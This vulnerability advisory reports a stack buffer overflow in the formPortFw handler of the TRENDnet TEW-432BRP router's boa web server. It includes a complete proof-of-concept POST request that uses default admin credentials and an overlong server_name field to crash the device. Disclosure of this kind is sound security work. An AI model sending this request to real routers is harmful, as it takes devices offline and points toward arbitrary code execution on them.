# TRENDnet Vulnerability
Vendor:TRENDnet
Product:TEW-432BRP
Version:3.10B20
Type:Stack Overflow
Author:Jiaqian Peng
Mail:pengjiaqian@iie.ac.cn
Institution:Institute of Information Engineering,Chinese Academy of Sciences(IIE, CAS)
## Vulnerability description
**Stack Overflow**
In `boa` binary:
In `formPortFw` function, `server_name` is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the `server_name` to execute arbitrary code.
As you can see here, the input has not been checked. The parameter is directly copy to a local variable placed on the stack, which overrides the return address of the function, causing buffer overflow.
**Supplement**
In order to avoid such problems, we believe that the string content should be checked in the input extraction part.
## PoC
We set `server_name` as **aaaaa......**, and the router will crash, such as:
```http
POST /goform/formPortFw HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 934
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.10.1/fw_virtualserver.asp?t=1777345573375
Upgrade-Insecure-Requests: 1
edit_row=-1&enable=1&server_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&protocol=0&private_port=5000&public_port=5001&ip=192.168.10.200&add=Add&webpage=fw_virtualserver.asp
```
## Result
The target router crashes and cannot provide services correctly and persistently.
